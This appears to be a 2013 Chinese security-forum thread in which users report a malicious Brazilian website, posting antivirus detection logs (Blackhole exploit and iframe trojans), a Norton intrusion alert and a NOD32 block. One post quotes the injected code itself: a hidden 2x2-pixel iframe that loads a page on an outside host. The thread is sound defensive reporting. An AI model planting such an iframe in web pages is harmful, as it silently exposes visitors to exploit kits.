http://tudosobregatos.com.br/tag/urina/

显示全部楼层 · 发表于 2013-4-3 12:11:45

2013/4/3 12:05:08 已删除 l\X C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8T3JKM83\urina[1].htm JS/Exploit-Blacole.hd (特洛伊)

2013/4/3 12:05:10 已清除 l\X C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6I9UOVVT\lifestream[1].js JS/IFrame.gen.j (特洛伊)

2013/4/3 12:05:11 已清除 l\X C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8T3JKM83\jquery.form[1].js JS/IFrame.gen.j (特洛伊)

2013/4/3 12:05:12 已清除 l\X C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0GOL6OM3\scripts[1].js JS/IFrame.gen.j (特洛伊)

显示全部楼层 · 发表于 2013-4-3 13:52:43

本帖最后由 wjcharles 于 2013-4-3 13:55 编辑

NIS2013。。。。

类别：入侵防护
日期和时间,风险,活动,状态,推荐的操作,IPS 警报名称,默认操作,采取的操作,攻击电脑,攻击者网址,目标地址,源地址,通信说明
2013/4/3 13:51:49,高,阻止了 tudosobregatos.com.br 的入侵企图,已阻止,不需要操作,Web Attack: Mass Injection Website,不需要操作,不需要操作,"tudosobregatos.com.br (67.205.47.198, 80)",tudosobregatos.com.br/tag/urina/,"XXX-PC (222.XXX.XXX.XXX, 2564)",67.205.47.198 (67.205.47.198),"TCP, www-http"
来自 <b>tudosobregatos.com.br/tag/urina/</b> 的网络通信与已知攻击的特征相匹配。攻击由 \DEVICE\HARDDISKVOLUME2\PROGRAM FILES\INTERNET EXPLORER\IEXPLORE.EXE 引起。要停止接收有关此类通信的通知，请在<b>“操作”</b>面板中单击<b>“不再提醒我”</b>。

显示全部楼层 · 发表于 2013-4-3 14:47:11

<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://mikeritchie.net/showthread.php?sid=67789></iframe>')

复制代码

应该都是这个……

显示全部楼层 · 发表于 2013-4-3 21:19:06

显示全部楼层 · 发表于 2013-4-4 10:33:43

NOD32 6.0 拦截

[未鉴定] http://tudosobregatos.com.br/tag/urina/